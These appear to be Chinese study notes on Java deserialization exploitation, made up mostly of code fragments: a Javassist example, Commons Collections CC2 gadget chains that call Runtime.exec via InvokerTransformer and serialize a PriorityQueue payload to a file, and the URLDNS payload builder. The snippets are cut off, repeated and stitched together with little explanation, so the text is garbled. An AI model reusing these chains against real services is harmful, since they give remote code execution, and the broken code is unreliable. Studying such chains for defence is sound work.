Hello类: public class Hello { public void say() { System.out.println("Hello"); } } Test 类 public class Test { public static void main(String[] args) throws Exception { ClassPool cp = ClassPool.getDefault();//在默认系统搜索路径获取ClassPool对象。 CtClass cc = cp.get("com.demo.Hello"); //获取hello类的 CtMethod m = cc.getDeclaredMethod("say"); //获取hello类的say方法 m.insertBefore("{ System.out.println(\"Hello.say():\"); }");//在正文的开头插入字节码 Class c = cc.toClass();//将此类转换为java.lang.Class对象 Hello h = (Hello)c.newInstance(); //反射创建对象并进行强转 h.say();调用方法say } }
public class test { public static void main(String[] args) { String string ="java.lang.Runtime"; byte[] bytes1 = string.getBytes(); System.out.println(Arrays.toString(bytes1));
public class Test1 { public static void main(String[] args) throws Exception{ Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}), };
Transformer transformerChain = new ChainedTransformer(transformers); TransformingComparator Tcomparator = new TransformingComparator(transformerChain); PriorityQueue queue = new PriorityQueue(1, Tcomparator);
queue.add(1); queue.add(2);
try{ ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc2.txt")); outputStream.writeObject(queue); outputStream.close(); System.out.println(barr.toString());
Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}), };
public class Test1 { public static void main(String[] args) throws Exception{ Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}), };
Transformer transformerChain = new ChainedTransformer(transformers); TransformingComparator Tcomparator = new TransformingComparator(transformerChain); PriorityQueue queue = new PriorityQueue(1);
queue.add(1); queue.add(2);
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator"); field.setAccessible(true); field.set(queue,Tcomparator);
try{ ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc2.txt")); outputStream.writeObject(queue); outputStream.close(); System.out.println(barr.toString());
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); }
public static Field getField(final Class<?> clazz, final String fieldName) { Field field = null; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName); } return field; } }
public static void main(String[] args){ ChainedTransformer chain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})}); chain.transform(123); } }
首先看下InvokerTransformer的transform方法
1 2 3 4 5 6 7 8
public Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs);
Object constantTransformer = new ConstantTransformer(Runtime.getRuntime()).transform(123); Transformer invoketransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"}); invoketransformer.transform(constantTransformer);
最终把上面两者搭配ChainedTransformer进行结合
1 2 3 4 5 6 7 8
public void test(){ ChainedTransformer chain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"})
ChainedTransformer chain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})}); chain.transform(123);
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload. URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL URL u = new URL(null, url, handler); // URL to use as the Key ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { // Read in the threshold (ignored), loadfactor, and any hidden stuff s.defaultReadObject(); reinitialize(); if (loadFactor <= 0 || Float.isNaN(loadFactor)) throw new InvalidObjectException("Illegal load factor: " + loadFactor); s.readInt(); // Read and ignore number of buckets int mappings = s.readInt(); // Read number of mappings (size) if (mappings < 0) throw new InvalidObjectException("Illegal mappings count: " + mappings); else if (mappings > 0) { // (if zero, use defaults) // Size the table using given load factor only if within // range of 0.25...4.0 float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f); float fc = (float)mappings / lf + 1.0f; int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ? DEFAULT_INITIAL_CAPACITY : (fc >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : tableSizeFor((int)fc)); float ft = (float)cap * lf; threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ? (int)ft : Integer.MAX_VALUE); @SuppressWarnings({"rawtypes","unchecked"}) Node<K,V>[] tab = (Node<K,V>[])new Node[cap]; table = tab;
// Read the keys and values, and put the mappings in the HashMap for (int i = 0; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false, false); } } }
putVal这一段,这里调用了hash方法来处理key,跟进hash方法:
1 2 3 4
static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); }
@Override public User findUser(String userId) throws RemoteException { // 加载在查询 if ("00001".equals(userId)) { User user = new User(); user.setName("金庸"); user.setAge(100); user.setSkill("写作"); return user; } throw new RemoteException("查无此人"); } }